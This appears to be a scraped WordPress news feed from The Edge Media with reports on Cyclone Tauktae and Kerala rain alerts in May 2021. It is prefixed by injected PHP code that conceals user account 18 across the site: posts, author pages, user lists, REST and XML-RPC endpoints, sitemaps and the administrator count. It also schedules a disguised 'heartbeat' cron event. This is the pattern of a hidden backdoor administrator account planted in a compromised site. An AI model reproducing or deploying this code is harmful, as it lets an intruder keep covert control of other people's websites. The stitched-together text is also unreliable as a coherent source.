add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post What’s in a name? How Cyclone ‘Tauktae’ was given its moniker appeared first on The Edge Media.
]]>While the internet may be abuzz with notes of caution, it also made many realise that a lot goes in a name. Cyclone Tauktae’s (pronounced Tau’Te) name originates from a Burmese word which translates to gecko — a “highly vocal lizard”. The cyclone was named by neighbouring country Myanmar.
#CycloneTauktae will hit Indian coasts soon. Do you know what it’s name means. ‘Tauktae' (pronounced as Tau’Te), a name given by #Myanmar, means highly vocal lizard #GECKO.
The cyclone names are given by countries on rotation basis in region.@mcbbsr pic.twitter.com/AakbZva8gr
— Parveen Kaswan, IFS (@ParveenKaswan) May 15, 2021
Cyclones are officially named by one of the World Meteorological Organization’s (WMO) warning centres based across the globe. The WMO/United Nations Economic and Social Commission for Asia and the Pacific (ESCAP) Panel on Tropical Cyclones (PTC) includes 13 countries — India, Bangladesh, Myanmar, Pakistan, the Maldives, Oman, Sri Lanka, Thailand, Iran, Qatar, Saudi Arabia, United Arab Emirates and Yemen.
The post What’s in a name? How Cyclone ‘Tauktae’ was given its moniker appeared first on The Edge Media.
]]>The post Kerala rains live updates | IMD issues red alert for nine districts in Kerala appeared first on The Edge Media.
]]>
Red alerts have been sounded in nine central and northern Kerala districts on May 15 for extremely heavy rainfall. As per a 1 p.m. update from the India Meteorological Department (IMD), Idukki, Ernakulam, Thrissur, Palakkad, Malappuram, Kozhikode, Wayanad, Kannur and Kasaragod are on red alert.
Kottayam, Alappuzha, Pathanamthitta, Kollam and Thiruvananthapuram are on orange alert for scattered heavy to very heavy rainfall today, as per the updated weather bulletin. Coastal districts have been experiencing heavy sea erosion prompting the district administrations to evacuate people to relief camps. — Kerala Bureau
The post Kerala rains live updates | IMD issues red alert for nine districts in Kerala appeared first on The Edge Media.
]]>The post PM Modi To Review Preparations As Cyclone Tauktae Intensifies Off Gujarat appeared first on The Edge Media.
]]>
Prime Minister Narendra Modi will hold an important meeting today to review preparations to deal with impending Cyclone Tauktae, government sources said.
Top officers from across government departments, including the National Disaster Management Authority, will attend the meeting, they told news agency Press Trust of India
The India Meteorological Department or IMD had said on Friday that the depression in the Arabian Sea is likely to intensify into a “very severe cyclonic storm” and cross the Gujarat coast a day later. “The weather condition has intensified into a deep depression. It is very likely to further intensify into cyclonic storm ‘Tauktae’ by Saturday morning and very likely to intensify further into a severe cyclonic storm by Saturday night,” it had said.
The National Disaster Response Force or NDRF has earmarked 53 teams to tackle possible after effects of Cyclone ‘Tauktae’, which is developing in the Arabian Sea.
The post PM Modi To Review Preparations As Cyclone Tauktae Intensifies Off Gujarat appeared first on The Edge Media.
]]>The post IMD issues red, orange alerts in several Kerala districts; cyclone Tauktae to hit in the next 36 hours. appeared first on The Edge Media.
]]>An orange alert has also been sounded for a very heavy rainfall of 11-20 cm for nine districts including Alappuzha, Kottayam, Ernakulam, Idukki, Thrissur, Palakkad, Wayanad, Kozhikode and Mallapuram. The weather department of Kerala and state disaster management has requested the public to stay from the coasts. The wind would blow speeding up-to 40Kmph in various districts of Kerala. The fishermen have also been warned to stay away from the waters.

The cyclonic circulation is extending upto mid tropospheric levels and is most likely to concentrate into a depression within the next 12 hours. This will firther intensify into a cyclonic storm during the upcoming 24 hours. It is very likely to intensify further and move northwestwards towards Gujarat and adjoining coasts of Pakistan. The storm is estimated to reach the coasts of Gujarat around the evening of May 18.
District administrations have been asked to get ready for the relief camps for the people living in the low-lying areas in case of any destruction. NDRF teams are on standby and a team has already been allocated in the district of Kollam and few families have also been shifted from the same
The post IMD issues red, orange alerts in several Kerala districts; cyclone Tauktae to hit in the next 36 hours. appeared first on The Edge Media.
]]>